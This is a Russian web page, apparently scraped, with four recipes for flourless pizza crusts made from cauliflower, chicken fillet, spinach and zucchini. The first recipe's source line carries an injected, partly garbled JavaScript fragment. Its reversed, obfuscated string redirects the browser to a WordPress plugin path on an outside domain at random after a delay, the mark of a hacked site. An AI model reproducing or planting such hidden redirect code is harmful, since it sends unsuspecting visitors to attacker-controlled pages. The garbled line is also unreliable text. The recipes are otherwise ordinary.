4 рецепта полезного теста для пиццы

Любители настоящей итальянской пиццы могут ужаснуться, а вот те, кто решил сократить в рационе быстрые углеводы или избегает глютена, точно порадуются. Настя Юренкова предлагает 4 варианта теста вообще без муки: в ход идут овощи и даже куриное филе!

Содержание

1. Пицца на тесте из цветной капусты
Ингредиенты
2. Пицца на тесте из куриного филе
Ингредиенты
3. Пицца на тесте из шпината
Ингредиенты
4. Пицца на тесте из цуккини
Ингредиенты

1. Пицца на тесте из цветной капусты

popsugar.com

4 рецепта полезного теста для пиццы

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

35 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

3 порции

КАЛОРИЙНОСТЬ:

272 ккал

272 calories

Рецпет с сайта fitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-nyashka.ru

PT1H

Ингредиенты

Цветная капуста

500 г

Яйцо

1 шт.

Моцарелла натёртая

150 г

Пармезан натёртый

2 ст. л.

Помидоры

200 г

Томатная паста

55 г

Чеснок

2 зубчика

Оливковое масло

для выпекания

Свежий базилик

несколько листиков

Перец

по вкусу

Соль

по вкусу

Разогрейте духовку до 210 градусов.
Разделите цветную капусту на соцветия и отварите несколько минут до готовности, чтобы она стала мягкой. Остудите.
Переложите капусту в большую миску и разомните вилкой или лопаткой. Добавьте одно яйцо, 100 граммов моцареллы, весь пармезан и тщательно перемешайте. Посолите и поперчите по вкусу.
Форму для пиццы или противень слегка смажьте оливковым маслом. Выложите тесто и запекайте 10—15 минут до появления золотистой корочки.
Готовый корж смажьте томатной пастой, выложите на него оставшиеся 50 граммов моцареллы и нарезанные помидоры. Отправьте пиццу в духовку ещё на 10 минут.
Перед подачей к столу украсьте пиццу свежими листьями базилика.

2. Пицца на тесте из куриного филе

surfandsunshine.com

4 рецепта полезного теста для пиццы

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

40 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

8 порций

КАЛОРИЙНОСТЬ:

145 ккал

145 calories

PT1H

Ингредиенты

Куриное филе

450 г

Яйцо

1 шт.

Моцарелла

100 г

Пармезан

50 г

Томатный соус

4 ст. л.

Чеснок

2-3 зубчика

Орегано сушёный

1 ч. л.

Базилик сушёный

1 ч. л.

Паприка

½ ч. л.

Разогрейте духовку до 200 градусов.
Натрите моцареллу и пармезан. Сырое куриное филе нарежьте на небольшие кусочки, а затем измельчите в блендере. Можно взять и уже готовый куриный фарш. Добавьте в фарш специи, мелко нарезанный чеснок, пармезан, 50 граммов моцареллы, яйцо и тщательно всё перемешайте.
Форму для пиццы или противень застелите пергаментом и распределите полученное тесто. Если оно липнет к рукам, накройте пищевой плёнкой — распределять его по форме станет проще.
Запекайте тесто 15—25 минут до появления золотистой корочки.
Готовый корж смажьте соусом, посыпьте оставшейся моцареллой и добавьте любую любимую начинку — например помидоры, оливки и болгарский перец. Отправьте пиццу ещё на 5—10 минут в духовку, чтобы сыр расплавился, и подавайте к столу.

3. Пицца на тесте из шпината

sweetashoney.co

4 рецепта полезного теста для пиццы

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

35 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

4 порции

КАЛОРИЙНОСТЬ:

188 ккал

188 calories

PT1H

Ингредиенты

Шпинат

400 г

Яйцо

2 шт.

Сыр Эдам натёртый

50 г

Сыр фета

50 г

Куриное филе

2 шт.

Томатный соус

3 ст. л.

Базилик сушёный

1 ч. л.

Орегано сушёный

½ ч. л.

Тыквенные семечки

2 ч. л.

Перец

по вкусу

Соль

по вкусу

Разогрейте духовку до 220 градусов.
В блендере или кухонном комбайне измельчите шпинат, слейте лишнюю жидкость. Добавьте натёртый сыр, яйца, специи и хорошо перемешайте.
Форму для пиццы или противень застелите бумагой для выпечки. Распределите получившееся тесто и запекайте его около 15—20 минут до появления золотистой корочки.
В это время нарежьте куриное филе на небольшие кусочки и обжарьте на сковороде без масла.
Когда корж будет готов, смажьте его томатным соусом, сверху выложите приготовленное куриное филе, накрошите фету и посыпьте тыквенными семечками. Верните пиццу в духовку ещё на 5—10 минут. Готово!

4. Пицца на тесте из цуккини

blogspot.com

4 рецепта полезного теста для пиццы

СЛОЖНОСТЬ РЕЦЕПТА:

ВРЕМЯ ПРИГОТОВЛЕНИЯ:

20 МИНУТ

КОЛИЧЕСТВО ПОРЦИЙ:

4 порции

КАЛОРИЙНОСТЬ:

209 ккал

209 calories

PT1H

Ингредиенты

Цуккини

2 шт.

Яйцо

1 шт.

Моцарелла

100 г

Томатный соус

3 ст. л.

Базилик сушёный

1 ч. л.

Чеснок сушёный

1/2 ч. л.

Разогрейте духовку до 220 градусов.
Натрите цуккини, переложите в миску и дайте постоять около 10 минут, чтобы овощи отдали лишнюю влагу. Слегка отожмите и слейте жидкость.
Натрите сыр. Половину добавьте вместе с яйцом и специями к цуккини и тщательно перемешайте.
Форму для пиццы или противень застелите бумагой для выпечки. Распределите получившееся тесто и запекайте его около 20 минут.
Достаньте готовый корж из духовки, смажьте его томатным соусом, добавьте оставшийся сыр и снова верните в духовку на 5—10 минут до появления золотистой корочки.